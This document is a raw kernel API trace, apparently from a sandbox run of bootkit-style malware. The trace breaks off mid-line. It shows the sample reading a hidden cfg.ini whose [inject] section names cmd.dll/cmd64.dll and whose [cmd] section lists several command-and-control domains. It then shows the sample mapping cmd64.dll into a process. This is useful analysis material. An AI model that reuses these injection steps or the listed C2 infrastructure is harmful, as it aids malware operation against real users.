ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff80000238, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0073.741] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.741] KeEnterCriticalRegion () [0073.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.741] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0073.741] IdePortDispatch () returned 0x103 [0073.741] KeWaitForMutexObject () returned 0x0 [0073.741] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0073.741] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0073.741] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0073.741] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0073.741] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80034d13f0 [0073.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.741] KeLeaveCriticalRegion () [0073.741] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.742] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0073.742] NtLockFile (in: FileHandle=0xffffffff80000238, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x80000, ByteOffset=0x80010, Length=0x80018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x80000) returned 0x0 [0073.742] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.742] KeEnterCriticalRegion () [0073.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.742] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80021e92b0, Context=0x0) returned 0x0 [0073.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.742] KeLeaveCriticalRegion () [0073.742] ZwQueryInformationFile (in: FileHandle=0xffffffff80000238, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0073.742] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.742] KeEnterCriticalRegion () [0073.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.742] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.742] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa8002a499f0 [0073.742] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8002a499f0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8002a499f0) [0073.742] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0073.742] IdePortDispatch () returned 0x103 [0073.743] KeWaitForMutexObject () returned 0x0 [0073.743] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0073.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.743] KeLeaveCriticalRegion () [0073.743] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.743] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a006572b40 [0073.743] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0073.743] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0073.743] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0073.743] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0073.743] ZwReadFile (in: FileHandle=0xffffffff80000238, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a006572b40, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a006572b40*) returned 0x0 [0073.743] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.743] KeEnterCriticalRegion () [0073.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.743] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8002a499f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d6ab40 [0073.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa80071ff680 [0073.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80071ff680, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80071ff680) [0073.743] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0073.743] IdePortDispatch () returned 0x103 [0073.743] KeWaitForMutexObject () returned 0x0 [0073.743] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0073.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa80071ff680 [0073.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80071ff680, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80071ff680) [0073.743] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0073.743] IdePortDispatch () returned 0x103 [0073.744] KeWaitForMutexObject () returned 0x0 [0073.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.744] KeLeaveCriticalRegion () [0073.744] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.744] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0073.744] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0073.744] strncpy (in: _Dest=0xfffffa8003563274, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0073.744] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0073.744] ExFreePoolWithTag (P=0xfffff8a006572b40, Tag=0x0) [0073.744] ZwClose (Handle=0xffffffff80000238) returned 0x0 [0073.744] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.744] KeEnterCriticalRegion () [0073.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.744] IoGetRequestorProcess (Irp=0xfffffa80021e92b0) returned 0xfffffa80018ab040 [0073.744] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80034bc930, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0073.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.744] KeLeaveCriticalRegion () [0073.744] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.744] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.744] KeEnterCriticalRegion () [0073.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.745] ExFreePoolWithTag (P=0xfffffa80034d13f0, Tag=0x0) [0073.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.745] KeLeaveCriticalRegion () [0073.745] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.745] KeStackAttachProcess (in: PROCESS=0xfffffa80035555f0, ApcState=0xfffff88002f8fa58 | out: PROCESS=0xfffffa80035555f0, ApcState=0xfffff88002f8fa58) [0073.745] _snwprintf (in: _Dest=0xfffffa800356306c, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0073.745] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8fa38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0073.745] ZwOpenFile (in: FileHandle=0xfffff88002f8f9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f8fa08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8fa48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f8f9e8*=0xffffffff80000238, IoStatusBlock=0xfffff88002f8fa48) returned 0x0 [0073.745] _snprintf (in: _Dest=0xfffff88002f8f150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0073.745] KeEnterCriticalRegion () [0073.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.745] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.745] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.745] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.745] KeInitializeEvent (in: Event=0xfffff88002f8efc0, Type=0x0, State=0 | out: Event=0xfffff88002f8efc0) [0073.745] IdePortDispatch () returned 0x103 [0073.745] KeWaitForMutexObject () returned 0x0 [0073.745] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0073.745] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0073.745] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.745] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.745] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.745] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0073.745] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0073.745] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0073.745] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0073.745] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0073.745] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80034e01e0 [0073.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.745] KeLeaveCriticalRegion () [0073.745] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.745] ZwCreateSection (in: SectionHandle=0xfffff88002f8f9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff80000238 | out: SectionHandle=0xfffff88002f8f9e0*=0x14) returned 0x0 [0073.745] _snprintf (in: _Dest=0xfffff88002f8f260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0073.746] KeEnterCriticalRegion () [0073.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.746] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.746] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.746] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.746] KeInitializeEvent (in: Event=0xfffff88002f8f0f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0f0) [0073.746] IdePortDispatch () returned 0x103 [0073.746] KeWaitForMutexObject () returned 0x0 [0073.746] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0073.746] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0073.746] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.746] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.746] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.746] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0073.746] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0073.746] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0073.746] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0073.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.746] KeLeaveCriticalRegion () [0073.746] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.746] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff80000240, BaseAddress=0xfffff88002f8f9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00, InheritDisposition=0xfffffa8000000002, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f8f9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00*=0x6000) returned 0x0 [0073.746] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0073.746] _snprintf (in: _Dest=0xfffff88002f8f390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0073.746] KeEnterCriticalRegion () [0073.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.746] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d6b000 [0073.746] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.746] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.746] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.746] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.746] IdePortDispatch () returned 0x103 [0073.747] KeWaitForMutexObject () returned 0x0 [0073.747] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0073.747] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0073.747] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.747] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.747] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.747] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0073.747] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0073.747] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0073.747] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0073.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.747] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.747] IdePortDispatch () returned 0x103 [0073.747] KeWaitForMutexObject () returned 0x0 [0073.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.747] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.747] IdePortDispatch () returned 0x103 [0073.747] KeWaitForMutexObject () returned 0x0 [0073.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.748] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.748] IdePortDispatch () returned 0x103 [0073.748] KeWaitForMutexObject () returned 0x0 [0073.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.748] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.748] IdePortDispatch () returned 0x103 [0073.748] KeWaitForMutexObject () returned 0x0 [0073.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.748] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.748] IdePortDispatch () returned 0x103 [0073.748] KeWaitForMutexObject () returned 0x0 [0073.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.749] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.749] IdePortDispatch () returned 0x103 [0073.749] KeWaitForMutexObject () returned 0x0 [0073.749] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.749] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.749] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.749] IdePortDispatch () returned 0x103 [0073.749] KeWaitForMutexObject () returned 0x0 [0073.749] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.749] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.749] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.749] IdePortDispatch () returned 0x103 [0073.749] KeWaitForMutexObject () returned 0x0 [0073.749] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.749] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.749] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.749] IdePortDispatch () returned 0x103 [0073.750] KeWaitForMutexObject () returned 0x0 [0073.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.750] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.750] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.750] IdePortDispatch () returned 0x103 [0073.750] KeWaitForMutexObject () returned 0x0 [0073.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.750] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.750] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.750] IdePortDispatch () returned 0x103 [0073.750] KeWaitForMutexObject () returned 0x0 [0073.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.750] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.750] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.750] IdePortDispatch () returned 0x103 [0073.751] KeWaitForMutexObject () returned 0x0 [0073.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: 